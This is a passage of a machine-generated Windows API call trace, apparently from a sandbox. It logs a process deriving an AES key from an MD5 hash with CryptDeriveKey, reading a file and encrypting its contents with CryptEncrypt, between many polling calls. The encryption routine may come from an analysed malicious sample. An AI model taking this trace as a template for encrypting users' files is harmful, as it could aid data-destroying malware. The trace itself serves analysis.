lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.708] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.709] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.709] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.709] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.709] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.709] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.709] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.709] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.710] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.710] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.710] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.710] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.710] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.710] CryptCreateHash (in: hProv=0xe8f41997e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.710] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.710] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.710] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.710] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.710] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b930, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.711] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.711] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.711] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.711] CryptDeriveKey (in: hProv=0xe8f41997e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.712] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.712] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.712] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.712] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.714] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.714] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.715] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4e62, lpOverlapped=0x0) returned 1 [0029.715] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.718] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.718] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.718] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.718] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.718] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.718] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.719] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.719] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.720] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.720] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x14e62, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x14e70) returned 1 [0029.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.720] CharLowerBuffW (in: lpsz="byte[85617]", cchLength=0xb | out: lpsz="byte[85617]") returned 0xb [0029.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.722] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.722] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.722] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.722] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.723] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b8b80*, pdwDataLen=0xe8f3dfdf68*=0x14e62, dwBufLen=0x14e70 | out: pbData=0xe8f43b8b80*, pdwDataLen=0xe8f3dfdf68*=0x14e70) returned 1 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.723] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.723] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.723] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 